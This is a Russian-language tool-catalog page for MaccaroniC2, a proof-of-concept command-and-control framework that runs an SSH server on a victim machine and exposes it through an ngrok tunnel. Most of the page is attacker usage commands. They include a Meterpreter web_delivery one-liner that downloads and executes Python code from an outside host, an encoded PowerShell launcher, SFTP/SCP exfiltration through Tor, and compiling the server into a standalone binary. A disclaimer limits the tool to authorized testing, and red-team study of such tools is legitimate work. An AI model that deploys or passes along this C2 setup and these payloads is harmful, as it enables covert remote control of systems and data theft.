Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
MaccaroniC2 — Фреймворк Command & Control (C2) концептуального образца, использующий мощную библиотеку AsyncSSH на Python, которая предоставляет асинхронную реализацию клиента и сервера протокола SSHv2, а также обёртку PyNgrok для интеграции с ngrok. | Kitploit
Инструменты/GitHubGitHub/calfcrusher/maccaronic2
Фреймворки для эксплойтовКомандование и УправлениеОбучение и ОбразованиеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubcalfcrusher/maccaronic2

MaccaroniC2

Фреймворк Command & Control (C2) концептуального образца, использующий мощную библиотеку AsyncSSH на Python, которая предоставляет асинхронную реализацию клиента и сервера протокола SSHv2, а также обёртку PyNgrok для интеграции с ngrok.

Репозиторий
76153 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MaccaroniC2 - Расширение возможностей C2 с помощью AsyncSSH

MaccaroniC2 — это доказательство концепции фреймворк для командования и управления, который использует мощную библиотеку AsyncSSH Python, предоставляющую асинхронную реализацию клиента и сервера протокола SSHv2, и использует обёртку PyNgrok для интеграции ngrok. Этот инструмент вдохновлён конкретным сценарием, когда жертва запускает сервер AsyncSSH и устанавливает туннель наружу, готовый принимать команды от атакующего.

Атакующий использует официальный API Ngrok, чтобы получить имя хоста и порт туннеля для установки соединения. Этот подход использует преимущества всесторонних возможностей, предоставляемых AsyncSSH, включая встроенную поддержку SFTP и SCP, что облегчает безопасную и эффективную эксфильтрацию данных и не только.

Более того, атакующий может отправлять и выполнять системные команды через SOCKS-прокси, используя преимущества, например, TOR для повышения анонимности.

  • Бесплатная учётная запись Ngrok позволяет использовать только один туннель за раз. С некоторыми изменениями этот инструмент мог бы стать идеальным для BOT-подобного C&C фреймворка для управления несколькими экземплярами SSH, но вам потребуется обновить свой план на сайте Ngrok, см. https://ngrok.com/pricing

Настройка и процедура

  1. Запустите python3 gen_rsa.py для генерации пары SSH-ключей. Недавно сгенерированный id_rsa используется атакующим для подключения к серверу, работающему на машине жертвы.

  2. Отредактируйте файл asyncssh_server.py и поместите содержимое только что сгенерированного id_rsa.pub в переменную pub_key. asyncssh_server.py предоставляет реализацию протокола SSHv2 с функциями SFTP и SCP. Этот скрипт запускается жертвой.

  3. Создайте бесплатную учётную запись на сайте Ngrok и запишите токен AUTH.

  4. Добавьте токен AUTH в переменную token в asyncssh_server.py, это должно быть жёстко закодировано внутри функции ngrok_tunnel().

  5. Создайте бесплатный ключ API на сайте Ngrok. Запишите сгенерированную строку.

Отправка команд на сервер

С помощью async_commander.py вы можете отправить любую команду на сервер. Он автоматически запрашивает домен и порт туннеля Ngrok, активированного жертвой, используя официальный API Ngrok.

Также обратите внимание, что id_rsa должен находиться в той же папке, что и async_commander.py

Базовое использование

Запустите сервер на машине жертвы:

python3 asyncssh_server.py


С машины атакующего отправьте команду через SOCKS-прокси:

python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050


Отправьте команду без использования прокси:

python3 asyncssh_commander.py "whoami"


Запустите другого C2 агента (Powershell-Empire, Meterpreter и т.д.):

python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"

Модуль web_delivery Meterpreter

python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""


Получить список активных туннелей:

python3 get_endpoints.py


Сгенерировать новые пары RSA-ключей:

python3 gen_rsa.py

Расширенное использование

Использование SFTP и SCP — вам не нужен действительный пользователь, только правильный id_rsa

  • С прокси:

proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path


  • Без прокси:

sftp -P PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path


Компиляция с помощью Nuitka

python -m pip install nuitka

python -m nuitka --standalone --onefile asyncssh_server.py


Вооружённый сервер

https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py

Для получения дополнительной информации ознакомьтесь со статьёй: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен только для тестирования и образовательных целей. Его следует использовать только на системах с соответствующим разрешением. Любое несанкционированное или незаконное использование этого инструмента строго запрещено. Создатель этого инструмента не несёт ответственности за любое неправильное использование или ущерб, причинённый в результате его использования. Пожалуйста, соблюдайте применимые законы и нормативные акты при использовании этого инструмента. Кроме того, важно отметить, что использование Ngrok в сочетании с этим инструментом может привести к нарушению условий обслуживания или политик некоторых платформ. Рекомендуется ознакомиться и соблюдать условия использования любой платформы или сервиса, чтобы избежать потенциальной блокировки аккаунта или сбоев.

Скачать инструмент
  • Поместите строку ключа API в переменную api_key внутри файла async_commander.py. Это позволяет нам автоматически получать домен и порт Ngrok активного туннеля во время автоматизации.

  • Выполните тот же шаг для файла get_endpoints.py. Этот скрипт получает различную полезную информацию об активных туннелях.